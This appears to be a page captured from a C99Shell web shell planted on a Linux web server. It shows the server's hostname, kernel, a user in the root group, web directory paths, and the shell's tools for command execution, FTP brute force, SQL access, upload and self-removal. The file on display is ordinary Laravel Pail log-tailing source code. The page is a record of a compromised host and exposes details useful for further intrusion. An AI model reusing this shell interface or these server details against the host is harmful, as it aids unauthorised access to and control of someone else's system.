!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/vendor/laravel/pail/src/Console/Commands/   drwxr-xr-x
Free 28.28 GB of 117.98 GB (23.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PailCommand.php (3.16 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Pail\Console\Commands;

use 
Illuminate\Console\Command;
use 
Illuminate\Process\Exceptions\ProcessTimedOutException;
use 
Laravel\Pail\File;
use 
Laravel\Pail\Guards\EnsurePcntlIsAvailable;
use 
Laravel\Pail\Options;
use 
Laravel\Pail\ProcessFactory;
use 
Symfony\Component\Console\Attribute\AsCommand;
use 
Symfony\Component\Process\Exception\ProcessSignaledException;

use function 
Termwind\render;
use function 
Termwind\renderUsing;

#[
AsCommand(name'pail')]
class 
PailCommand extends Command
{
    
/**
     * {@inheritDoc}
     */
    
protected $signature 'pail
        {--filter= : Filter the logs by the given value}
        {--message= : Filter the logs by the given message}
        {--level= : Filter the logs by the given level}
        {--auth= : Filter the logs by the given authenticated ID}
        {--user= : Filter the logs by the given authenticated ID (alias for --auth)}
        {--timeout=3600 : The maximum execution time in seconds}'
;

    
/**
     * {@inheritDoc}
     */
    
protected $description 'Tails the application logs.';

    
/**
     * The file instance, if any.
     */
    
protected ?File $file null;

    
/**
     * Handles the command execution.
     */
    
public function handle(ProcessFactory $processFactory): void
    
{
        
EnsurePcntlIsAvailable::check();

        
renderUsing($this->output);
        
render(<<<'HTML'
            <div class="max-w-150 mx-2 mt-1 flex">
                <div>
                    <span class="px-1 bg-blue uppercase text-white">INFO</span>
                    <span class="flex-1">
                        <span class="ml-1 ">Tailing application logs.</span>
                    </span>
                </div>
                <span class="flex-1"></span>
                <span class="text-gray ml-1">
                    <span class="text-gray">Press Ctrl+C to exit</span>
                </span>
            </div>
            HTML,
        );

        
render(<<<'HTML'
            <div class="max-w-150 mx-2 flex">
                <div>
                </div>
                <span class="flex-1"></span>
                <span class="text-gray ml-1">
                    <span class="text-gray">Use -v|-vv to show more details</span>
                </span>
            </div>
            HTML,
        );

        
$this->file = new File(storage_path('pail/'.uniqid().'.pail'));
        
$this->file->create();
        
$this->trap([SIGINTSIGTERM], fn () => $this->file->destroy());

        
$options Options::fromCommand($this);

        
assert($this->file instanceof File);

        try {
            
$processFactory->run($this->file$this->output$this->laravel->basePath(), $options);
        } catch (
ProcessSignaledException $e) {
            if (
in_array($e->getSignal(), [SIGINTSIGTERM], true)) {
                
$this->newLine();
            }
        } catch (
ProcessTimedOutException $e) {
            
$this->components->info('Maximum execution time exceeded.');
        } finally {
            
$this->file?->destroy();
        }
    }

    
/**
     * Handles the object destruction.
     */
    
public function __destruct()
    {
        if (
$this->file) {
            
$this->file->destroy();
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0064 ]--